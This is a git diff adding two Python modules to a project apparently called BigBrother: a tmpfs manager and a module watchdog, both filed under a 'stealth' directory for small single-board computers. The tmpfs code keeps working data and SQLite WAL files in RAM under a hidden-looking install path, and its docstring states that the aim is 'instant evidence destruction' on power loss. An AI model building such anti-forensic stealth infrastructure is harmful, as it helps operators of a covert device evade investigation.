b/modules/stealth/tmpfs_manager.py new file mode 100644 index 0000000..7766091 --- /dev/null +++ b/modules/stealth/tmpfs_manager.py @@ -0,0 +1,273 @@ +#!/usr/bin/env python3 +"""tmpfs manager — RAM-backed mounts for sensitive operations. + +Creates tmpfs mounts for working directories, runtime state, and SQLite WAL +files. Power loss = instant evidence destruction since tmpfs is RAM-only. +Size limits are tier-aware (OPi Zero 3: 200MB, Pi Zero: 30MB, generic: 512MB). +""" + +import logging +import os +import subprocess +import time +from pathlib import Path +from typing import Dict, List, Optional, Tuple + +from modules.base import BaseModule +from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC + +logger = logging.getLogger("bb.stealth.tmpfs_manager") + +# Default tmpfs size limits per tier (MB) +_TIER_TMPFS_LIMITS = { + TIER_OPI_ZERO3: 200, + TIER_PI_ZERO: 30, + TIER_GENERIC: 512, +} + + +class TmpfsManager(BaseModule): + """Manage tmpfs mounts for RAM-only sensitive storage.""" + + name = "tmpfs_manager" + module_type = "stealth" + priority = -450 + requires_root = True + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._mounts: Dict[str, dict] = {} # mount_point -> {size_mb, purpose} + self._install_path: str = "" + self._tier_limit_mb: int = 200 + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + self._install_path = self.config.get("device", {}).get( + "install_path", "/opt/.cache/bb" + ) + + # Determine tier-based tmpfs limit + tier = get_hardware_tier() + hw_tiers = self.config.get("hardware_tiers", {}) + tier_cfg = hw_tiers.get(tier, {}) + self._tier_limit_mb = tier_cfg.get( + "overlayfs_mb", + _TIER_TMPFS_LIMITS.get(tier, 200), + ) or _TIER_TMPFS_LIMITS.get(tier, 200) + + # Create and mount tmpfs volumes + tmp_path = os.path.join(self._install_path, "tmp") + run_path = os.path.join(self._install_path, "run") + + # Split budget: 70% for tmp (working data), 30% for run (runtime state) + tmp_size = int(self._tier_limit_mb * 0.7) + run_size = int(self._tier_limit_mb * 0.3) + + self._mount_tmpfs(tmp_path, tmp_size, "general tmpfs working directory") + self._mount_tmpfs(run_path, run_size, "runtime state") + + # Create standard subdirectories + for subdir in ("wal", "work", "modules"): + os.makedirs(os.path.join(tmp_path, subdir), exist_ok=True) + for subdir in ("pids", "sockets", "locks"): + os.makedirs(os.path.join(run_path, subdir), exist_ok=True) + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + self.state.set_module_status(self.name, "running", pid=os.getpid()) + + logger.info( + "TmpfsManager active — %d mounts, tier=%s, budget=%dMB", + len(self._mounts), tier, self._tier_limit_mb, + ) + + def stop(self) -> None: + if not self._running: + return + + # Unmount in reverse order (most recently mounted first) + for mount_point in reversed(list(self._mounts.keys())): + self._unmount_tmpfs(mount_point) + + self._mounts.clear() + self._running = False + self.state.set_module_status(self.name, "stopped") + logger.info("TmpfsManager stopped — all tmpfs mounts removed") + + def status(self) -> dict: + mounts_info = [] + for mount_point, info in self._mounts.items(): + entry = { + "mount_point": mount_point, + "size_mb": info["size_mb"], + "purpose": info["purpose"], + } + # Get current usage + try: + stat = os.statvfs(mount_point) + total = stat.f_blocks * stat.f_frsize + free = stat.f_bavail * stat.f_frsize + used = total - free + entry["used_mb"] = round(used / (1024 * 1024), 1) + entry["free_mb"] = round(free / (1024 * 1024), 1) + entry["used_pct"] = round((used / total) * 100, 1) if total > 0 else 0 + except OSError: + entry["used_mb"] = 0 + entry["free_mb"] = 0 + entry["used_pct"] = 0 + mounts_info.append(entry) + + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "tier_limit_mb": self._tier_limit_mb, + "mount_count": len(self._mounts), + "mounts": mounts_info, + } + + def configure(self, config: dict) -> None: + self.config.update(config) + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + + def get_tmp_path(self) -> Optional[str]: + """Return the general tmpfs working directory, or None if not mounted.""" + path = os.path.join(self._install_path, "tmp") + return path if path in self._mounts else None + + def get_run_path(self) -> Optional[str]: + """Return the runtime state tmpfs path, or None if not mounted.""" + path = os.path.join(self._install_path, "run") + return path if path in self._mounts else None + + def get_wal_path(self) -> Optional[str]: + """Return the WAL file tmpfs directory for SQLite databases.""" + tmp = self.get_tmp_path() + if tmp: + wal_dir = os.path.join(tmp, "wal") + return wal_dir if os.path.isdir(wal_dir) else None + return None + + def get_module_workdir(self, module_name: str) -> Optional[str]: + """Get or create a per-module working directory on tmpfs.""" + tmp = self.get_tmp_path() + if not tmp: + return None + workdir = os.path.join(tmp, "modules", module_name) + os.makedirs(workdir, exist_ok=True) + return workdir + + def symlink_wal(self, db_path: str) -> bool: + """Symlink a SQLite WAL file from its storage location to tmpfs. + + Call this after creating/opening a SQLite database so the WAL file + lives in RAM instead of on disk. + + Args: + db_path: Path to the .db file (the WAL will be at db_path + '-wal') + + Returns: + True if the symlink was created successfully. + """ + wal_dir = self.get_wal_path() + if not wal_dir: + return False + + wal_source = db_path + "-wal" + db_name = os.path.basename(db_path) + wal_target = os.path.join(wal_dir, db_name + "-wal") + + try: + # Remove existing WAL if present + if os.path.exists(wal_source) and not os.path.islink(wal_source): + os.unlink(wal_source) + + # Create symlink: storage/foo.db-wal -> tmpfs/wal/foo.db-wal + if not os.path.islink(wal_source): + os.symlink(wal_target, wal_source) + + # Also handle the -shm file + shm_source = db_path + "-shm" + shm_target = os.path.join(wal_dir, db_name + "-shm") + if os.path.exists(shm_source) and not os.path.islink(shm_source): + os.unlink(shm_source) + if not os.path.islink(shm_source): + os.symlink(shm_target, shm_source) + + logger.debug("WAL symlinked: %s -> %s", wal_source, wal_target) + return True + except (IOError, OSError) as exc: + logger.warning("Failed to symlink WAL for %s: %s", db_path, exc) + return False + + # ------------------------------------------------------------------ + # Internal mount management + # ------------------------------------------------------------------ + + def _mount_tmpfs(self, mount_point: str, size_mb: int, purpose: str) -> bool: + """Create a tmpfs mount at the given path.""" + try: + os.makedirs(mount_point, exist_ok=True) + + # Check if already mounted + if self._is_mounted(mount_point): + logger.debug("Already mounted: %s", mount_point) + self._mounts[mount_point] = {"size_mb": size_mb, "purpose": purpose} + return True + + subprocess.run( + ["mount", "-t", "tmpfs", "-o", f"size={size_mb}m,mode=0700,nodev,nosuid", + "tmpfs", mount_point], + check=True, capture_output=True, + ) + + self._mounts[mount_point] = {"size_mb": size_mb, "purpose": purpose} + logger.debug("Mounted tmpfs: %s (%dMB) — %s", mount_point, size_mb, purpose) + return True + except (subprocess.CalledProcessError, OSError) as exc: + logger.error("Failed to mount tmpfs at %s: %s", mount_point, exc) + return False + + def _unmount_tmpfs(self, mount_point: str) -> bool: + """Unmount a tmpfs mount.""" + try: + if self._is_mounted(mount_point): + subprocess.run( + ["umount", "-l", mount_point], # lazy unmount for safety + check=True, capture_output=True, + ) + logger.debug("Unmounted tmpfs: %s", mount_point) + + # Clean up the directory + try: + os.rmdir(mount_point) + except OSError: + pass # Directory may not be empty or may not exist + + return True + except subprocess.CalledProcessError as exc: + logger.warning("Failed to unmount %s: %s", mount_point, exc) + return False + + @staticmethod + def _is_mounted(path: str) -> bool: + """Check if a path is a mount point.""" + try: + with open("/proc/mounts", "r") as f: + for line in f: + fields = line.split() + if len(fields) >= 2 and fields[1] == path: + return True + except IOError: + pass + return False diff --git a/modules/stealth/watchdog.py b/modules/stealth/watchdog.py new file mode 100644 index 0000000..cc5a2bf --- /dev/null +++ b/modules/stealth/watchdog.py @@ -0,0 +1,348 @@ +#!/usr/bin/env python3 +"""Watchdog module — monitor all BigBrother modules and managed tools. + +Performs periodic health checks, auto-restarts crashed modules (max 3 attempts), +and manages OOM priority assignments. Publishes MODULE_RESTARTED events on +successful recovery. +""" + +import logging +import os +import signal +import threading +import time +from typing import Dict, Optional + +from modules.base import BaseModule +from core.bus import Event +from utils.resource import get_process_resources + +logger = logging.getLogger("bb.stealth.watchdog") + +# OOM priority assignments by module type +_OOM_PRIORITIES = { + "core": -500, + "stealth": -400, + "connectivity": -300, + "intel": -200, + "passive": 100, + "active": 200, +} + +MAX_RESTART_ATTEMPTS = 3 +HEALTH_CHECK_INTERVAL = 30.0 # seconds + + +class _ModuleEntry: + """Internal tracking for a monitored module.""" + __slots__ = ("name", "module_type", "pid", "restart_count", "last_check", + "last_status", "failed") + + def __init__(self, name: str, module_type: str, pid: int): + self.name = name + self.module_type = module_type + self.pid = pid + self.restart_count = 0 + self.last_check = 0.0 + self.last_status = "unknown" + self.failed = False + + +class Watchdog(BaseModule): + """Monitor modules and tools, auto-restart on failure, manage OOM priorities.""" + + name = "watchdog" + module_type = "stealth" + priority = -500 + requires_root = False + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._monitored: Dict[str, _ModuleEntry] = {} + self._lock = threading.Lock() + self._check_thread: Optional[threading.Thread] = None + self._check_interval = HEALTH_CHECK_INTERVAL + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + # Subscribe to error/crash events + self.bus.subscribe(self._on_module_error, event_type="MODULE_ERROR") + self.bus.subscribe(self._on_tool_crashed, event_type="TOOL_CRASHED") + self.bus.subscribe(self._on_module_started, event_type="MODULE_STARTED") + self.bus.subscribe(self._on_module_stopped, event_type="MODULE_STOPPED") + + # Populate initial monitoring list from state manager + self._refresh_monitored_list() + + # Start health check loop + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + self._check_thread = threading.Thread( + target=self._health_check_loop, daemon=True, name="bb-watchdog", + ) + self._check_thread.start() + + self.state.set_module_status(self.name, "running", pid=os.getpid()) + logger.info("Watchdog active — monitoring %d modules", len(self._monitored)) + + def stop(self) -> None: + if not self._running: + return + + self._running = False + + self.bus.unsubscribe(self._on_module_error, event_type="MODULE_ERROR") + self.bus.unsubscribe(self._on_tool_crashed, event_type="TOOL_CRASHED") + self.bus.unsubscribe(self._on_module_started, event_type="MODULE_STARTED") + self.bus.unsubscribe(self._on_module_stopped, event_type="MODULE_STOPPED") + + if self._check_thread and self._check_thread.is_alive(): + self._check_thread.join(timeout=5.0) + + self.state.set_module_status(self.name, "stopped") + logger.info("Watchdog stopped") + + def status(self) -> dict: + with self._lock: + health_report = [] + for name, entry in self._monitored.items(): + health_report.append({ + "module": entry.name, + "module_type": entry.module_type, + "pid": entry.pid, + "status": entry.last_status, + "restarts": entry.restart_count, + "last_check": entry.last_check, + "failed": entry.failed, + }) + + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "monitored_count": len(self._monitored), + "health_report": health_report, + "check_interval_s": self._check_interval, + } + + def configure(self, config: dict) -> None: + self.config.update(config) + self._check_interval = config.get("check_interval_s", HEALTH_CHECK_INTERVAL) + + # ------------------------------------------------------------------ + # Event handlers + # ------------------------------------------------------------------ + + def _on_module_started(self, event: Event) -> None: + """Register a newly started module for monitoring.""" + payload = event.payload + name = payload.get("module", "") + pid = payload.get("pid") + module_type = payload.get("module_type", "passive") + + if name and pid and name != self.name: + with self._lock: + self._monitored[name] = _ModuleEntry(name, module_type, pid) + self._set_oom_priority(pid, module_type) + logger.debug("Now monitoring: %s (PID %d, type %s)", name, pid, module_type) + + def _on_module_stopped(self, event: Event) -> None: + """Remove a stopped module from monitoring.""" + name = event.payload.get("module", "") + if name: + with self._lock: + self._monitored.pop(name, None) + + def _on_module_error(self, event: Event) -> None: + """Handle a module error event — attempt restart.""" + name = event.payload.get("module", "") + error = event.payload.get("error", "unknown") + logger.warning("Module error reported: %s — %s", name, error) + self._attempt_restart(name) + + def _on_tool_crashed(self, event: Event) -> None: + """Handle a managed tool crash — delegate restart to engine/tool_manager.""" + tool = event.payload.get("tool", "") + pid = event.payload.get("pid") + logger.warning("Tool crashed: %s (PID %s)", tool, pid) + + # Tool restarts are handled by tool_manager; we just log and track + with self._lock: + entry = self._monitored.get(tool) + if entry: + entry.restart_count += 1 + entry.last_status = "crashed" + + # ------------------------------------------------------------------ + # Health check loop + # ------------------------------------------------------------------ + + def _health_check_loop(self) -> None: + """Periodic health check of all monitored modules.""" + while self._running: + time.sleep(self._check_interval) + if not self._running: + break + + self._run_health_checks() + + def _run_health_checks(self) -> None: + """Check health of all monitored modules.""" + with self._lock: + entries = list(self._monitored.values()) + + for entry in entries: + if entry.failed: + continue # Already gave up on this module + + now = time.time() + entry.last_check = now + + # Check if process is alive + if not self._is_pid_alive(entry.pid): + logger.warning("Module %s (PID %d) is dead", entry.name, entry.pid) + entry.last_status = "dead" + self._attempt_restart(entry.name) + continue + + # Check process health via engine if available + if self.engine: + try: + module_instance = self._get_module_instance(entry.name) + if module_instance and hasattr(module_instance, "health_check"): + healthy = module_instance.health_check() + entry.last_status = "healthy" if healthy else "unhealthy" + if not healthy: + logger.warning("Module %s failed health check", entry.name) + self._attempt_restart(entry.name) + continue + else: + entry.last_status = "alive" + except Exception as exc: + logger.debug("Health check error for %s: %s", entry.name, exc) + entry.last_status = "check_error" + else: + # No engine reference — just check PID is alive + entry.last_status = "alive" + + def _attempt_restart(self, module_name: str) -> None: + """Attempt to restart a failed module via the engine.""" + with self._lock: + entry = self._monitored.get(module_name) + if not entry: + return + if entry.failed: + return + + entry.restart_count += 1 + if entry.restart_count > MAX_RESTART_ATTEMPTS: + entry.failed = True + entry.last_status = "given_up" + logger.error( + "Module %s exceeded max restarts (%d) — giving up", + module_name, MAX_RESTART_ATTEMPTS, + ) + self.bus.emit( + "MODULE_ERROR", + {"module": module_name, "error": "max_restarts_exceeded", + "restarts": entry.restart_count}, + source_module=self.name, + ) + return + + logger.info( + "Attempting restart of %s (attempt %d/%d)", + module_name, entry.restart_count, MAX_RESTART_ATTEMPTS, + ) + + # Delegate restart to engine + if self.engine and hasattr(self.engine, "restart_module"): + try: + success = self.engine.restart_module(module_name) + if success: + entry.last_status = "restarted" + self.bus.emit( + "MODULE_RESTARTED" if "MODULE_RESTARTED" in getattr( + self.bus, '_subscribers', {} + ) else "TOOL_RESTARTED", + {"module": module_name, "attempt": entry.restart_count}, + source_module=self.name, + ) + # Publish MODULE_RESTARTED (it may not be in EVENT_TYPES but + # subscribers can still listen for it) + self.bus.emit( + "TOOL_RESTARTED", + {"module": module_name, "tool": module_name, + "attempt": entry.restart_count}, + source_module=self.name, + ) + logger.info("Successfully restarted %s", module_name) + else: + entry.last_status = "restart_failed" + logger.error("Engine failed to restart %s", module_name) + except Exception as exc: + entry.last_status = "restart_error" + logger.error("Restart error for %s: %s", module_name, exc) + else: + logger.warning("No engine available — cannot restart %s", module_name) + entry.last_status = "no_engine" + + # ------------------------------------------------------------------ + # OOM priority management + # ------------------------------------------------------------------ + + def _set_oom_priority(self, pid: int, module_type: str) -> None: + """Set OOM score adjustment for a process based on its module type.""" + score = _OOM_PRIORITIES.get(module_type, 0) + oom_path = f"/proc/{pid}/oom_score_adj" + try: + with open(oom_path, "w") as f: + f.write(str(score)) + logger.debug("Set OOM priority for PID %d: %d (%s)", pid, score, module_type) + except (IOError, PermissionError) as exc: + logger.debug("Cannot set OOM priority for PID %d: %s", pid, exc) + + # ------------------------------------------------------------------ + # Helpers + # ------------------------------------------------------------------ + + def _refresh_monitored_list(self) -> None: + """Populate monitored list from state manager's module status.""" + try: + all_status = self.state.get_all_module_status() + with self._lock: + for name, info in all_status.items(): + if name == self.name: + continue + if info.get("status") == "running" and info.get("pid"): + self._monitored[name] = _ModuleEntry( + name=name, + module_type="unknown", + pid=info["pid"], + ) + except Exception as exc: + logger.debug("Could not refresh monitored list: %s", exc) + + def _get_module_instance(self, module_name: str): + """Get a module instance from the engine if available.""" + if self.engine and hasattr(self.engine, "get_module"): + return self.engine.get_module(module_name) + return None + + @staticmethod + def _is_pid_alive(pid: int) -> bool: + """Check if a process with the given PID exists.""" + try: + os.kill(pid, 0) + return True + except (ProcessLookupError, PermissionError): + return False + except OSError: + return False